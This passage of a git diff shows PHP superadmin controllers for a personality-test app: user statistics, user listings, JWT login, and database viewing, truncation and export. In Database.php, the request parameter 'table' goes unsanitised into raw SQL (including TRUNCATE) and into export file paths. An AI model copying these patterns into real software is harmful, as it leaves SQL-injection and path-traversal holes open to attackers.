->where('enterpriseId', '<>', '') - ->field('userId, enterpriseId') - ->select(); - $eids = array_unique(array_filter(array_column($trWithE, 'enterpriseId'))); - $enterpriseNames = []; - if (!empty($eids)) { - $enterpriseNames = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); - } - foreach ($trWithE as $r) { - if (!isset($userEnterprise[$r['userId']])) { - $userEnterprise[$r['userId']] = $enterpriseNames[$r['enterpriseId']] ?? ('企业' . $r['enterpriseId']); - } - } - } catch (\Throwable $e) { - // test_results 可能无 enterpriseId 列 - } - foreach ($ids as $uid) { - if (!isset($userEnterprise[$uid])) { - $userEnterprise[$uid] = '个人用户(无企业)'; - } - } - - // 从用户画像表汇总支付统计(付款次数与总金额) - try { - $profiles = Db::name('user_profile') - ->where('userId', 'in', $ids) - ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') - ->group('userId') - ->select() - ->toArray(); - foreach ($profiles as $p) { - $uid = (int) ($p['userId'] ?? 0); - if ($uid <= 0) { - continue; - } - $payStats[$uid] = [ - 'paidOrders' => (int) ($p['paidOrders'] ?? 0), - 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), - ]; - } - } catch (\Throwable $e) { - $payStats = []; - } - } - - foreach ($list as &$row) { - $id = $row['id']; - $testsForUser = $testTypes[$id] ?? []; - $row['username'] = $row['nickname'] ?? ('用户' . $id); - $row['testCount'] = (int) ($testCounts[$id] ?? 0); - $row['lastTestAt'] = $lastTestAt[$id] ?? null; - $row['tests'] = $testsForUser; - $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); - $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); - $row['discType'] = $this->extractResultType($testsForUser, 'disc'); - $row['faceType'] = $this->extractResultType($testsForUser, 'face'); - $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); - $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); - $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); - $row['enterprise'] = $userEnterprise[$id] ?? '个人用户(无企业)'; - - $pay = $payStats[$id] ?? null; - $totalPaidFen = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; - $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; - $row['totalPaidAmount'] = $totalPaidFen; - $row['totalPaidAmountYuan'] = $totalPaidFen > 0 ? round($totalPaidFen / 100, 2) : 0; - } - - return paginate_response($list, $total, $page, $pageSize); - } - - /** - * 测试用户详情 - * GET /api/v1/superadmin/app-users/:id - */ - public function detail($id) - { - $user = $this->request->user ?? null; - if (!$user || ($user['role'] ?? '') !== 'superadmin') { - return error('无权限访问', 403); - } - - $row = Db::name('wechat_users')->where('id', $id)->find(); - if (!$row) { - return error('用户不存在', 404); - } - - $data = [ - 'id' => (int) $row['id'], - 'username' => $row['nickname'] ?? ('用户' . $row['id']), - 'nickname' => $row['nickname'] ?? '', - 'avatar' => $row['avatar'] ?? '', - 'phone' => $row['phone'] ?? '', - 'email' => '', - 'gender' => (int) ($row['gender'] ?? 0), - 'country' => $row['country'] ?? '', - 'province' => $row['province'] ?? '', - 'city' => $row['city'] ?? '', - 'status' => (int) ($row['status'] ?? 1), - 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, - 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, - 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, - ]; - - $tests = Db::name('test_results') - ->where('userId', $id) - ->field('id, testType, resultData, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') - ->order('createdAt', 'desc') - ->select() - ->toArray(); - foreach ($tests as &$t) { - $raw = $t['resultData'] ?? ''; - $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); - } - - $data['testCount'] = count($tests); - $data['testList'] = $tests; - $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); - $data['pdpType'] = $this->extractResultType($tests, 'pdp'); - $data['discType'] = $this->extractResultType($tests, 'disc'); - $data['faceType'] = $this->extractResultType($tests, 'face'); - $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); - $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); - $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); - - return success($data); - } - - private function parseMbtiFromResult($result): string - { - if (!is_string($result)) return ''; - $dec = json_decode($result, true); - if (is_array($dec)) { - return (string) ($dec['type'] ?? $dec['result'] ?? $dec['mbtiType'] ?? ''); - } - return trim($result); - } - - private function extractResultType(array $tests, string $type): string - { - $targetType = strtolower($type); - foreach ($tests as $t) { - if (strtolower($t['testType'] ?? '') !== $targetType) { - continue; - } - $result = $t['result'] ?? ''; - if (!is_string($result)) { - continue; - } - $dec = json_decode($result, true); - if (!is_array($dec)) { - // 无法解析 JSON 时,直接返回原始字符串 - return $targetType === 'face' ? '人脸分析' : trim($result); - } - - // 人脸分析:有记录就返回固定标签 - if ($targetType === 'face') { - return '人脸分析'; - } - - // MBTI:直接读 mbtiType/type - if ($targetType === 'mbti') { - return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); - } - - // DISC:优先 description.type,然后 dominantType - if ($targetType === 'disc') { - $desc = $dec['description']['type'] ?? null; - if (is_string($desc) && $desc !== '') { - return $desc; - } - if (!empty($dec['dominantType'])) { - return (string) $dec['dominantType']; - } - return (string) ($dec['disc'] ?? ''); - } - - // PDP:优先 description.type,然后 dominantType - if ($targetType === 'pdp') { - $desc = $dec['description']['type'] ?? null; - if (is_string($desc) && $desc !== '') { - return $desc; - } - if (!empty($dec['dominantType'])) { - return (string) $dec['dominantType']; - } - return (string) ($dec['pdp'] ?? ''); - } - - // 兜底:尝试常见字段 - return (string) ($dec['type'] ?? $dec['result'] ?? ''); - } - return ''; - } - - /** - * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 - */ - private function extractFaceSubType(array $tests, string $subType): string - { - $target = strtolower($subType); - foreach ($tests as $t) { - if (strtolower($t['testType'] ?? '') !== 'face') { - continue; - } - $result = $t['result'] ?? ''; - if (!is_string($result)) { - continue; - } - $dec = json_decode($result, true); - if (!is_array($dec)) { - continue; - } - - if ($target === 'mbti') { - if (!empty($dec['mbti']['type'])) { - return (string) $dec['mbti']['type']; - } - if (!empty($dec['mbtiType'])) { - return (string) $dec['mbtiType']; - } - } elseif ($target === 'disc') { - if (!empty($dec['disc']['primary'])) { - return (string) $dec['disc']['primary']; - } - if (!empty($dec['disc'])) { - return (string) $dec['disc']; - } - } elseif ($target === 'pdp') { - if (!empty($dec['pdp']['primary'])) { - return (string) $dec['pdp']['primary']; - } - if (!empty($dec['pdp'])) { - return (string) $dec['pdp']; - } - } - } - return ''; - } - -} +request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + // 用户数按 openid 去重 + try { + $totalUsers = (int) Db::name('wechat_users')->count('openid', true); + } catch (\Throwable $e) { + $totalUsers = (int) Db::name('wechat_users')->count(); + } + $last30d = time() - 30 * 86400; + + // 全部池:去重后的测试用户 & 近 30 天活跃用户(按 userId 去重) + // 这里使用逻辑表名 test_results,底层会自动加前缀生成 mbti_test_results + $testedUserIds = Db::name('test_results')->distinct(true)->column('userId'); + $testedUsers = count(array_filter($testedUserIds)); + + $activeUserIds = Db::name('test_results') + ->where('createdAt', '>=', $last30d) + ->distinct(true) + ->column('userId'); + $activeUsers = count(array_filter($activeUserIds)); + + $userCards = [ + [ + 'type' => 'all', + 'name' => '全部用户', + 'total' => $totalUsers, + 'active' => $activeUsers, + 'tested' => $testedUsers + ] + ]; + + try { + // 个人池:enterpriseId 为空的测试用户,按 userId 去重 + $individualIds = Db::name('test_results') + ->where(function ($q) { + $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); + }) + ->distinct(true) + ->column('userId'); + $individualTotal = count(array_filter($individualIds)); + + $individualActiveIds = Db::name('test_results') + ->where('createdAt', '>=', $last30d) + ->where(function ($q) { + $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); + }) + ->distinct(true) + ->column('userId'); + $individualActive = count(array_filter($individualActiveIds)); + $userCards[] = [ + 'type' => 'individual', + 'name' => '个人用户(无企业)', + 'total' => $individualTotal, + 'active' => $individualActive, + 'tested' => $individualTotal + ]; + } catch (\Throwable $e) { + $userCards[] = [ + 'type' => 'individual', + 'name' => '个人用户(无企业)', + 'total' => 0, + 'active' => 0, + 'tested' => 0 + ]; + } + + $enterprises = Db::name('enterprises')->field('id,name')->select()->toArray(); + foreach ($enterprises as $e) { + $eid = $e['id']; + try { + $ids = Db::name('test_results') + ->where('enterpriseId', $eid) + ->distinct(true) + ->column('userId'); + $total = count(array_filter($ids)); + + $activeIds = Db::name('test_results') + ->where('enterpriseId', $eid) + ->where('createdAt', '>=', $last30d) + ->distinct(true) + ->column('userId'); + $active = count(array_filter($activeIds)); + } catch (\Throwable $ex) { + $total = 0; + $active = 0; + } + $userCards[] = [ + 'type' => 'enterprise', + 'enterpriseId' => $eid, + 'name' => $e['name'] ?? ('企业' . $eid), + 'total' => $total, + 'active' => $active, + 'tested' => $total + ]; + } + + // MBTI 类型分布:按用户去重,每人只计其最新一次 MBTI 结果 + $mbtiTypes = []; + try { + $rows = Db::name('test_results') + ->where('testType', 'mbti') + ->field('userId, resultData, createdAt') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + $seenUserIds = []; + foreach ($rows as $r) { + $uid = (int) ($r['userId'] ?? 0); + if ($uid <= 0 || isset($seenUserIds[$uid])) { + continue; + } + $raw = $r['resultData'] ?? ''; + $dec = is_string($raw) ? json_decode($raw, true) : (is_array($raw) ? $raw : null); + if (!is_array($dec)) { + $seenUserIds[$uid] = true; + continue; + } + $type = ''; + if (isset($dec['mbtiType'])) { + $type = $dec['mbtiType']; + } elseif (isset($dec['mbti']['type'])) { + $type = $dec['mbti']['type']; + } elseif (isset($dec['type'])) { + $type = $dec['type']; + } + $type = strtoupper(trim((string) $type)); + $seenUserIds[$uid] = true; + if ($type === '') { + continue; + } + $mbtiTypes[$type] = ($mbtiTypes[$type] ?? 0) + 1; + } + } catch (\Throwable $e) { + // ignore + } + $mbtiDistribution = []; + foreach ($mbtiTypes as $type => $count) { + $mbtiDistribution[] = ['type' => $type, 'count' => $count]; + } + + return success([ + 'totalUsers' => $totalUsers, + 'testedUsers' => $testedUsers, + 'activeUsers' => $activeUsers, + 'userCards' => $userCards, + 'mbtiDistribution' => $mbtiDistribution + ]); + } + + /** + * 测试用户列表:分页、关键词、池筛选、MBTI 筛选 + * GET /api/v1/superadmin/app-users?page=1&pageSize=20&keyword=&pool=all|individual|enterprise&enterpriseId=&mbti= + */ + public function index() + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + $page = (int) Request::param('page', 1); + $pageSize = (int) Request::param('pageSize', 20); + $pageSize = min(max($pageSize, 1), 100); + $keyword = trim(Request::param('keyword', '')); + $pool = Request::param('pool', 'all'); + $enterpriseId = Request::param('enterpriseId', ''); + $mbti = trim(Request::param('mbti', '')); + + $where = []; + if ($keyword !== '') { + $where[] = ['nickname|phone|city|province', 'like', '%' . $keyword . '%']; + } + + $wechatIds = null; + if ($pool === 'individual' || ($pool === 'enterprise' && $enterpriseId !== '')) { + try { + $trQuery = Db::name('test_results'); + if ($pool === 'individual') { + $trQuery->where(function ($q) { + $q->whereNull('enterpriseId')->whereOr('enterpriseId', ''); + }); + } else { + $trQuery->where('enterpriseId', $enterpriseId); + } + $wechatIds = $trQuery->distinct(true)->column('userId'); + $wechatIds = array_values(array_unique(array_filter($wechatIds))); + } catch (\Throwable $e) { + $wechatIds = null; + } + } + if ($mbti !== '') { + $mbtiUserIds = Db::name('test_results')->where('testType', 'mbti')->distinct(true)->column('userId'); + $mbtiUserIds = array_values(array_unique(array_filter($mbtiUserIds))); + if ($wechatIds !== null) { + $wechatIds = array_values(array_intersect($wechatIds, $mbtiUserIds)); + } else { + $wechatIds = $mbtiUserIds; + } + } + + // 按 openid 去重:每个 openid 只保留 id 最大的一条;失败则不去重 + try { + $dedupIds = Db::name('wechat_users')->field('openid, MAX(id) as mid')->group('openid')->column('mid'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } catch (\Throwable $e) { + $dedupIds = Db::name('wechat_users')->column('id'); + $dedupIds = $dedupIds ? array_values(array_filter($dedupIds)) : []; + } + if (empty($dedupIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $baseQuery = Db::name('wechat_users')->where('id', 'in', $dedupIds); + if ($where) { + $baseQuery->where($where); + } + if ($wechatIds !== null && !empty($wechatIds)) { + $baseQuery->where('id', 'in', array_intersect($dedupIds, $wechatIds)); + } elseif ($wechatIds !== null && empty($wechatIds)) { + return paginate_response([], 0, $page, $pageSize); + } + + $total = $baseQuery->count(); + $list = (clone $baseQuery) + ->field('id,openid,nickname,avatar,phone,gender,country,province,city,status,lastLoginAt,createdAt') + ->order('createdAt', 'desc') + ->page($page, $pageSize) + ->select() + ->toArray(); + + $ids = array_column($list, 'id'); + $testCounts = []; + $lastTestAt = []; + $testTypes = []; + $userEnterprise = []; + $payStats = []; + if (!empty($ids)) { + $counts = Db::name('test_results')->where('userId', 'in', $ids)->group('userId')->column('COUNT(*) as cnt', 'userId'); + $testCounts = $counts ?: []; + $lastRows = Db::name('test_results') + ->where('userId', 'in', $ids) + ->field('id, userId, testType, resultData, createdAt') + ->order('createdAt', 'desc') + ->select(); + foreach ($lastRows as $row) { + $uid = $row['userId']; + if (!isset($lastTestAt[$uid])) { + $lastTestAt[$uid] = $row['createdAt']; + } + if (!isset($testTypes[$uid])) { + $testTypes[$uid] = []; + } + $testTypes[$uid][] = [ + 'testType' => $row['testType'], + 'result' => is_string($row['resultData'] ?? '') ? ($row['resultData'] ?? '') : json_encode($row['resultData'] ?? '', JSON_UNESCAPED_UNICODE), + 'createdAt' => $row['createdAt'], + ]; + } + try { + $trWithE = Db::name('test_results') + ->where('userId', 'in', $ids) + ->where('enterpriseId', '<>', null) + ->where('enterpriseId', '<>', '') + ->field('userId, enterpriseId') + ->select(); + $eids = array_unique(array_filter(array_column($trWithE, 'enterpriseId'))); + $enterpriseNames = []; + if (!empty($eids)) { + $enterpriseNames = Db::name('enterprises')->where('id', 'in', $eids)->column('name', 'id'); + } + foreach ($trWithE as $r) { + if (!isset($userEnterprise[$r['userId']])) { + $userEnterprise[$r['userId']] = $enterpriseNames[$r['enterpriseId']] ?? ('企业' . $r['enterpriseId']); + } + } + } catch (\Throwable $e) { + // test_results 可能无 enterpriseId 列 + } + foreach ($ids as $uid) { + if (!isset($userEnterprise[$uid])) { + $userEnterprise[$uid] = '个人用户(无企业)'; + } + } + + // 从用户画像表汇总支付统计(付款次数与总金额) + try { + $profiles = Db::name('user_profile') + ->where('userId', 'in', $ids) + ->field('userId, SUM(paidOrders) AS paidOrders, SUM(totalPaidAmount) AS totalPaidAmount') + ->group('userId') + ->select() + ->toArray(); + foreach ($profiles as $p) { + $uid = (int) ($p['userId'] ?? 0); + if ($uid <= 0) { + continue; + } + $payStats[$uid] = [ + 'paidOrders' => (int) ($p['paidOrders'] ?? 0), + 'totalPaidAmount' => (int) ($p['totalPaidAmount'] ?? 0), + ]; + } + } catch (\Throwable $e) { + $payStats = []; + } + } + + foreach ($list as &$row) { + $id = $row['id']; + $testsForUser = $testTypes[$id] ?? []; + $row['username'] = $row['nickname'] ?? ('用户' . $id); + $row['testCount'] = (int) ($testCounts[$id] ?? 0); + $row['lastTestAt'] = $lastTestAt[$id] ?? null; + $row['tests'] = $testsForUser; + $row['mbtiType'] = $this->extractResultType($testsForUser, 'mbti'); + $row['pdpType'] = $this->extractResultType($testsForUser, 'pdp'); + $row['discType'] = $this->extractResultType($testsForUser, 'disc'); + $row['faceType'] = $this->extractResultType($testsForUser, 'face'); + $row['faceMbtiType'] = $this->extractFaceSubType($testsForUser, 'mbti'); + $row['faceDiscType'] = $this->extractFaceSubType($testsForUser, 'disc'); + $row['facePdpType'] = $this->extractFaceSubType($testsForUser, 'pdp'); + $row['enterprise'] = $userEnterprise[$id] ?? '个人用户(无企业)'; + + $pay = $payStats[$id] ?? null; + $totalPaidFen = $pay ? (int) ($pay['totalPaidAmount'] ?? 0) : 0; + $row['paidOrders'] = $pay ? (int) ($pay['paidOrders'] ?? 0) : 0; + $row['totalPaidAmount'] = $totalPaidFen; + $row['totalPaidAmountYuan'] = $totalPaidFen > 0 ? round($totalPaidFen / 100, 2) : 0; + } + + return paginate_response($list, $total, $page, $pageSize); + } + + /** + * 测试用户详情 + * GET /api/v1/superadmin/app-users/:id + */ + public function detail($id) + { + $user = $this->request->user ?? null; + if (!$user || ($user['role'] ?? '') !== 'superadmin') { + return error('无权限访问', 403); + } + + $row = Db::name('wechat_users')->where('id', $id)->find(); + if (!$row) { + return error('用户不存在', 404); + } + + $data = [ + 'id' => (int) $row['id'], + 'username' => $row['nickname'] ?? ('用户' . $row['id']), + 'nickname' => $row['nickname'] ?? '', + 'avatar' => $row['avatar'] ?? '', + 'phone' => $row['phone'] ?? '', + 'email' => '', + 'gender' => (int) ($row['gender'] ?? 0), + 'country' => $row['country'] ?? '', + 'province' => $row['province'] ?? '', + 'city' => $row['city'] ?? '', + 'status' => (int) ($row['status'] ?? 1), + 'lastLoginAt' => isset($row['lastLoginAt']) ? (int) $row['lastLoginAt'] : null, + 'createdAt' => isset($row['createdAt']) ? (int) $row['createdAt'] : null, + 'updatedAt' => isset($row['updatedAt']) ? (int) $row['updatedAt'] : null, + ]; + + $tests = Db::name('test_results') + ->where('userId', $id) + ->field('id, testType, resultData, createdAt, requiresPayment, isPaid, paidAmount, paidAt, orderId') + ->order('createdAt', 'desc') + ->select() + ->toArray(); + foreach ($tests as &$t) { + $raw = $t['resultData'] ?? ''; + $t['result'] = is_string($raw) ? $raw : json_encode($raw, JSON_UNESCAPED_UNICODE); + } + + $data['testCount'] = count($tests); + $data['testList'] = $tests; + $data['mbtiType'] = $this->extractResultType($tests, 'mbti'); + $data['pdpType'] = $this->extractResultType($tests, 'pdp'); + $data['discType'] = $this->extractResultType($tests, 'disc'); + $data['faceType'] = $this->extractResultType($tests, 'face'); + $data['faceMbtiType'] = $this->extractFaceSubType($tests, 'mbti'); + $data['faceDiscType'] = $this->extractFaceSubType($tests, 'disc'); + $data['facePdpType'] = $this->extractFaceSubType($tests, 'pdp'); + + return success($data); + } + + private function parseMbtiFromResult($result): string + { + if (!is_string($result)) return ''; + $dec = json_decode($result, true); + if (is_array($dec)) { + return (string) ($dec['type'] ?? $dec['result'] ?? $dec['mbtiType'] ?? ''); + } + return trim($result); + } + + private function extractResultType(array $tests, string $type): string + { + $targetType = strtolower($type); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== $targetType) { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + // 无法解析 JSON 时,直接返回原始字符串 + return $targetType === 'face' ? '人脸分析' : trim($result); + } + + // 人脸分析:有记录就返回固定标签 + if ($targetType === 'face') { + return '人脸分析'; + } + + // MBTI:直接读 mbtiType/type + if ($targetType === 'mbti') { + return (string) ($dec['mbtiType'] ?? $dec['type'] ?? $dec['result'] ?? ''); + } + + // DISC:优先 description.type,然后 dominantType + if ($targetType === 'disc') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['disc'] ?? ''); + } + + // PDP:优先 description.type,然后 dominantType + if ($targetType === 'pdp') { + $desc = $dec['description']['type'] ?? null; + if (is_string($desc) && $desc !== '') { + return $desc; + } + if (!empty($dec['dominantType'])) { + return (string) $dec['dominantType']; + } + return (string) ($dec['pdp'] ?? ''); + } + + // 兜底:尝试常见字段 + return (string) ($dec['type'] ?? $dec['result'] ?? ''); + } + return ''; + } + + /** + * 从人脸分析结果中提取对应的 MBTI / DISC / PDP 文本 + */ + private function extractFaceSubType(array $tests, string $subType): string + { + $target = strtolower($subType); + foreach ($tests as $t) { + if (strtolower($t['testType'] ?? '') !== 'face') { + continue; + } + $result = $t['result'] ?? ''; + if (!is_string($result)) { + continue; + } + $dec = json_decode($result, true); + if (!is_array($dec)) { + continue; + } + + if ($target === 'mbti') { + if (!empty($dec['mbti']['type'])) { + return (string) $dec['mbti']['type']; + } + if (!empty($dec['mbtiType'])) { + return (string) $dec['mbtiType']; + } + } elseif ($target === 'disc') { + if (!empty($dec['disc']['primary'])) { + return (string) $dec['disc']['primary']; + } + if (!empty($dec['disc'])) { + return (string) $dec['disc']; + } + } elseif ($target === 'pdp') { + if (!empty($dec['pdp']['primary'])) { + return (string) $dec['pdp']['primary']; + } + if (!empty($dec['pdp'])) { + return (string) $dec['pdp']; + } + } + } + return ''; + } + +} diff --git a/api/app/controller/superadmin/Auth.php b/api/app/controller/superadmin/Auth.php index 69c56bc..00ffc8d 100644 --- a/api/app/controller/superadmin/Auth.php +++ b/api/app/controller/superadmin/Auth.php @@ -1,140 +1,140 @@ -where('username', $username) - ->where('role', 'superadmin') - ->find(); - - if (!$user) { - return error('用户名或密码错误', 401); - } - - // 验证密码 - if (!password_verify($password, $user['password'])) { - return error('用户名或密码错误', 401); - } - - // 检查账号状态 - if ($user['status'] != 1) { - return error('账号已被禁用', 403); - } - - // 更新登录信息 - Db::name('users') - ->where('id', $user['id']) - ->update([ - 'lastLoginTime' => time(), - 'lastLoginIp' => Request::ip(), - 'updatedAt' => time() - ]); - - // 生成Token - $payload = [ - 'userId' => $user['id'], - 'username' => $user['username'], - 'role' => $user['role'] - ]; - - $token = JwtService::generateToken($payload); - - unset($user['password']); - - return success([ - 'token' => $token, - 'expiresIn' => config('jwt.expire'), - 'user' => $user - ], '登录成功'); - } - - /** - * 获取当前登录超级管理员信息(需要认证) - * @return \think\response\Json - */ - public function me() - { - $user = $this->request->user ?? null; - - if (!$user) { - return error('未登录', 401); - } - - // 验证是否为超级管理员 - if ($user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $userModel = Db::name('users')->where('id', $user['userId'])->find(); - if (!$userModel) { - return error('用户不存在', 404); - } - - unset($userModel['password']); - - return success($userModel); - } - - /** - * 退出登录(需要认证) - * @return \think\response\Json - */ - public function logout() - { - $user = $this->request->user ?? null; - - if ($user && isset($user['userId'])) { - JwtService::deleteToken($user['userId']); - } - - return success(null, '退出成功'); - } - - /** - * 刷新Token - * @return \think\response\Json - */ - public function refresh() - { - $token = JwtService::getTokenFromRequest($this->request); - - if (!$token) { - return error('未提供Token', 401); - } - - $newToken = JwtService::refreshToken($token); - - if (!$newToken) { - return error('Token无效或已过期', 401); - } - - return success([ - 'token' => $newToken, - 'expiresIn' => config('jwt.expire') - ], '刷新成功'); - } -} - +where('username', $username) + ->where('role', 'superadmin') + ->find(); + + if (!$user) { + return error('用户名或密码错误', 401); + } + + // 验证密码 + if (!password_verify($password, $user['password'])) { + return error('用户名或密码错误', 401); + } + + // 检查账号状态 + if ($user['status'] != 1) { + return error('账号已被禁用', 403); + } + + // 更新登录信息 + Db::name('users') + ->where('id', $user['id']) + ->update([ + 'lastLoginTime' => time(), + 'lastLoginIp' => Request::ip(), + 'updatedAt' => time() + ]); + + // 生成Token + $payload = [ + 'userId' => $user['id'], + 'username' => $user['username'], + 'role' => $user['role'] + ]; + + $token = JwtService::generateToken($payload); + + unset($user['password']); + + return success([ + 'token' => $token, + 'expiresIn' => config('jwt.expire'), + 'user' => $user + ], '登录成功'); + } + + /** + * 获取当前登录超级管理员信息(需要认证) + * @return \think\response\Json + */ + public function me() + { + $user = $this->request->user ?? null; + + if (!$user) { + return error('未登录', 401); + } + + // 验证是否为超级管理员 + if ($user['role'] !== 'superadmin') { + return error('无权限访问', 403); + } + + $userModel = Db::name('users')->where('id', $user['userId'])->find(); + if (!$userModel) { + return error('用户不存在', 404); + } + + unset($userModel['password']); + + return success($userModel); + } + + /** + * 退出登录(需要认证) + * @return \think\response\Json + */ + public function logout() + { + $user = $this->request->user ?? null; + + if ($user && isset($user['userId'])) { + JwtService::deleteToken($user['userId']); + } + + return success(null, '退出成功'); + } + + /** + * 刷新Token + * @return \think\response\Json + */ + public function refresh() + { + $token = JwtService::getTokenFromRequest($this->request); + + if (!$token) { + return error('未提供Token', 401); + } + + $newToken = JwtService::refreshToken($token); + + if (!$newToken) { + return error('Token无效或已过期', 401); + } + + return success([ + 'token' => $newToken, + 'expiresIn' => config('jwt.expire') + ], '刷新成功'); + } +} + diff --git a/api/app/controller/superadmin/Database.php b/api/app/controller/superadmin/Database.php index 7a51eea..9b6044e 100644 --- a/api/app/controller/superadmin/Database.php +++ b/api/app/controller/superadmin/Database.php @@ -1,750 +1,750 @@ -request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - // 获取数据库配置 - $config = Config::get('database.connections.mysql'); - $database = $config['database'] ?? ''; - - // 获取数据库大小 - $dbSize = $this->getDatabaseSize($database); - - // 获取表数量 - $tableCount = $this->getTableCount($database); - - // 获取连接状态 - try { - Db::query('SELECT 1'); - $connected = true; - } catch (\Exception $e) { - $connected = false; - } - - return success([ - 'databaseType' => 'MySQL', - 'databaseName' => $database, - 'connected' => $connected, - 'databaseSize' => $dbSize, - 'tableCount' => $tableCount - ]); - } catch (\Exception $e) { - return error('获取数据库信息失败:' . $e->getMessage(), 500); - } - } - - /** - * 获取表列表 - * @return \think\response\Json - */ - public function tables() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $config = Config::get('database.connections.mysql'); - $database = $config['database'] ?? ''; - $prefix = $config['prefix'] ?? 'mbti_'; - - // 获取所有表 - $tables = Db::query("SHOW TABLE STATUS FROM `{$database}`"); - - $result = []; - foreach ($tables as $table) { - $tableName = $table['Name']; - - // 只显示带前缀的表(或者所有表) - if (empty($prefix) || strpos($tableName, $prefix) === 0) { - // 获取记录数 - $rowCount = Db::query("SELECT COUNT(*) as count FROM `{$tableName}`")[0]['count'] ?? 0; - - // 获取索引数 - $indexes = Db::query("SHOW INDEX FROM `{$tableName}`"); - $indexCount = count(array_unique(array_column($indexes, 'Key_name'))); - - $result[] = [ - 'name' => $tableName, - 'docCount' => intval($rowCount), - 'size' => intval($table['Data_length'] + $table['Index_length']), - 'indexCount' => $indexCount, - 'engine' => $table['Engine'] ?? '', - 'collation' => $table['Collation'] ?? '' - ]; - } - } - - return success($result); - } catch (\Exception $e) { - return error('获取表列表失败:' . $e->getMessage(), 500); - } - } - - /** - * 查看表数据 - * @return \think\response\Json - */ - public function viewTable() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $tableName = Request::param('table', ''); - $page = Request::param('page', 1); - $pageSize = Request::param('pageSize', 20); - - if (empty($tableName)) { - return error('表名不能为空', 400); - } - - try { - // 验证表是否存在 - $config = Config::get('database.connections.mysql'); - $database = $config['database'] ?? ''; - $tables = Db::query("SHOW TABLES FROM `{$database}` LIKE '{$tableName}'"); - - if (empty($tables)) { - return error('表不存在', 404); - } - - // 获取表结构 - $columns = Db::query("SHOW COLUMNS FROM `{$tableName}`"); - - // 获取数据 - $total = Db::name(str_replace($config['prefix'] ?? 'mbti_', '', $tableName))->count(); - $list = Db::name(str_replace($config['prefix'] ?? 'mbti_', '', $tableName)) - ->page($page, $pageSize) - ->select() - ->toArray(); - - return success([ - 'columns' => $columns, - 'list' => $list, - 'total' => $total, - 'page' => $page, - 'pageSize' => $pageSize - ]); - } catch (\Exception $e) { - return error('查看表数据失败:' . $e->getMessage(), 500); - } - } - - /** - * 导出表数据 - * @return \think\response\Json - */ - public function exportTable() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $tableName = Request::param('table', ''); - - if (empty($tableName)) { - return error('表名不能为空', 400); - } - - try { - // 生成SQL导出文件 - $backupDir = root_path() . 'runtime/backup/'; - if (!is_dir($backupDir)) { - mkdir($backupDir, 0755, true); - } - - $filename = $tableName . '_' . date('YmdHis') . '.sql'; - $filepath = $backupDir . $filename; - - $this->exportTableToSql($tableName, $filepath); - - return success([ - 'filename' => $filename, - 'filepath' => $filepath, - 'downloadUrl' => '/api/v1/superadmin/database/download?file=' . urlencode($filename) - ], '导出成功'); - } catch (\Exception $e) { - return error('导出表数据失败:' . $e->getMessage(), 500); - } - } - - /** - * 清空表数据 - * @return \think\response\Json - */ - public function clearTable() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - $tableName = Request::param('table', ''); - - if (empty($tableName)) { - return error('表名不能为空', 400); - } - - try { - // 验证表是否存在 - $config = Config::get('database.connections.mysql'); - $database = $config['database'] ?? ''; - $tables = Db::query("SHOW TABLES FROM `{$database}` LIKE '{$tableName}'"); - - if (empty($tables)) { - return error('表不存在', 404); - } - - // 清空表 - Db::execute("TRUNCATE TABLE `{$tableName}`"); - - return success(null, '表数据已清空'); - } catch (\Exception $e) { - return error('清空表数据失败:' . $e->getMessage(), 500); - } - } - - /** - * 备份数据库 - * @return \think\response\Json - */ - public function backup() - { - // 验证是否为超级管理员 - $user = $this->request->user ?? null; - if (!$user || $user['role'] !== 'superadmin') { - return error('无权限访问', 403); - } - - try { - $config = Config::get('database.connections.mysql'); - $host = $config['hostname'] 